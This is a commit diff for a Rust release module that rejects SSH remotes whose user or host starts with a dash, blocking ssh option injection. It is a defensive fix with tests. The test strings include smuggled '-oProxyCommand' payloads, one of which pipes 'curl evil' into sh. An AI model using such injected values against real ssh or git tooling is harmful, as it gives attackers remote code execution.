e4e56711
Reject SSH remotes whose authority looks like an option
a73x 2026-08-09 14:08
Commit message
src/release.rs
| Old | New | ||
|---|---|---|---|
| @@ -47,6 +47,9 @@ pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> { | |||
| 47 | if host.is_empty() || path.is_empty() { | 47 | if host.is_empty() || path.is_empty() { |
| 48 | return None; | 48 | return None; |
| 49 | } | 49 | } |
| 50 | if is_option_lookalike(user.as_deref(), &host) { | ||
| 51 | return None; | ||
| 52 | } | ||
| 50 | return Some(SshRemote { | 53 | return Some(SshRemote { |
| 51 | user, | 54 | user, |
| 52 | host, | 55 | host, |
| @@ -63,6 +66,9 @@ pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> { | |||
| 63 | return None; | 66 | return None; |
| 64 | } | 67 | } |
| 65 | let (user, host) = split_user(authority); | 68 | let (user, host) = split_user(authority); |
| 69 | if is_option_lookalike(user.as_deref(), host) { | ||
| 70 | return None; | ||
| 71 | } | ||
| 66 | Some(SshRemote { | 72 | Some(SshRemote { |
| 67 | user, | 73 | user, |
| 68 | host: host.to_string(), | 74 | host: host.to_string(), |
| @@ -71,6 +77,25 @@ pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> { | |||
| 71 | }) | 77 | }) |
| 72 | } | 78 | } |
| 73 | 79 | ||
| 80 | /// Whether the destination would reach `ssh` as an option rather than a host. | ||
| 81 | /// | ||
| 82 | /// `ssh_command` passes the destination as a positional argv element, so a | ||
| 83 | /// leading `-` is read by OpenSSH's getopt as a flag — and `-oProxyCommand=…` | ||
| 84 | /// runs through `/bin/sh -c`. git applies the same guard to its own transport | ||
| 85 | /// (`looks_like_command_line_option`, CVE-2017-1000117); `sync.rs` inherits it | ||
| 86 | /// by shelling out to `git push`/`git fetch`, but this module invokes `ssh` | ||
| 87 | /// directly, so it has to repeat the check rather than rely on git's. | ||
| 88 | /// | ||
| 89 | /// Only the user's leading `-` can actually reach getopt today, since the | ||
| 90 | /// destination is formatted `{user}@{host}` — a dash on the host is already | ||
| 91 | /// shielded by whatever precedes the `@`. Both are rejected anyway: the | ||
| 92 | /// asymmetry is an artifact of the current format string, and a caller that | ||
| 93 | /// ever passes the host separately (or drops the user) would silently reopen | ||
| 94 | /// the hole. | ||
| 95 | fn is_option_lookalike(user: Option<&str>, host: &str) -> bool { | ||
| 96 | user.is_some_and(|u| u.starts_with('-')) || host.starts_with('-') | ||
| 97 | } | ||
| 98 | |||
| 74 | fn split_user(authority: &str) -> (Option<String>, &str) { | 99 | fn split_user(authority: &str) -> (Option<String>, &str) { |
| 75 | match authority.split_once('@') { | 100 | match authority.split_once('@') { |
| 76 | Some((user, host)) => (Some(user.to_string()), host), | 101 | Some((user, host)) => (Some(user.to_string()), host), |
| @@ -393,6 +418,29 @@ mod tests { | |||
| 393 | assert!(parse_ssh_remote("file:///srv/git/repo.git").is_none()); | 418 | assert!(parse_ssh_remote("file:///srv/git/repo.git").is_none()); |
| 394 | } | 419 | } |
| 395 | 420 | ||
| 421 | /// `ssh_command` passes the host (or `user@host`) as a positional argv | ||
| 422 | /// element, and OpenSSH's getopt reads a leading `-` as an option — | ||
| 423 | /// `-oProxyCommand=...` runs through `/bin/sh -c`. git guards its own | ||
| 424 | /// transport the same way (`looks_like_command_line_option`, | ||
| 425 | /// CVE-2017-1000117); `git push`/`git fetch` in sync.rs inherit that, but | ||
| 426 | /// this module is the one place we invoke ssh directly, so the guard has | ||
| 427 | /// to be repeated here. | ||
| 428 | #[test] | ||
| 429 | fn parse_rejects_option_lookalike_authority() { | ||
| 430 | // No colon and no slash in the payload, so it survives both the port | ||
| 431 | // split and the authority/path split — this is the shape that parses. | ||
| 432 | assert!( | ||
| 433 | parse_ssh_remote("ssh://-oProxyCommand=curl${IFS}evil${IFS}|${IFS}sh/repo.git") | ||
| 434 | .is_none() | ||
| 435 | ); | ||
| 436 | assert!(parse_ssh_remote("ssh://-oProxyCommand=x@host/repo.git").is_none()); | ||
| 437 | assert!(parse_ssh_remote("-oProxyCommand=x:repo.git").is_none()); | ||
| 438 | assert!(parse_ssh_remote("user@-oProxyCommand=x:repo.git").is_none()); | ||
| 439 | // A leading dash is only rejected in the authority; paths and normal | ||
| 440 | // hosts are untouched. | ||
| 441 | assert!(parse_ssh_remote("ssh://example.com/-dashed-path.git").is_some()); | ||
| 442 | } | ||
| 443 | |||
| 396 | #[test] | 444 | #[test] |
| 397 | fn parse_rejects_out_of_range_port() { | 445 | fn parse_rejects_out_of_range_port() { |
| 398 | assert!(parse_ssh_remote("ssh://host:99999/x").is_none()); | 446 | assert!(parse_ssh_remote("ssh://host:99999/x").is_none()); |